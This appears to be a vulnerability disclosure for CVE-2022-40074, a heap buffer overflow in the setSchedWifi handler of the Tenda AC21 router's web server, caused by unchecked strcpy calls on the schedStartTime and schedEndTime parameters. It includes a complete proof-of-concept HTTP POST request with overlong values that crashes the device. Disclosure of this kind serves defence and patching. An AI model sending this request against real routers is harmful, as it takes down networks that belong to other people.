Headline
CVE-2022-40074: Vuln/Tenda AC21/3 at main · xxy1126/Vuln
Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, setSchedWifi.
Tenda AC21(V16.03.08.15) contains heap Buffer Overflow Vulnerability****overview
- Manufacturer’s website information：https://www.tenda.com.cn/
- Firmware download address: https://www.tenda.com.cn/download/detail-3419.html
product information
Tenda A21(V16.03.08.15), latest version of simulation overview：
description****1. Vulnerability Details
Tenda AC21(V16.03.08.15) contains a heap overflow vulnerability in file /bin/httpd, functionsetSchedWifi .
This vulnerability allows attackers to cause a Denial of Service (DoS) via the schedStartTimeand schedEndTimeparameter.
the strcpy(ptr+2, v8) and strcpy(ptr+10, v7) copies strings to heap buffer without checking its length, so there is a heap overflow.
2. Recurring loopholes and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /goform/openSchedWifi HTTP/1.1 Host: 192.168.0.1 Content-Length: 224 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963& Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close
schedStartTime=1111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedWifiEnable=1&timeType=1
By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .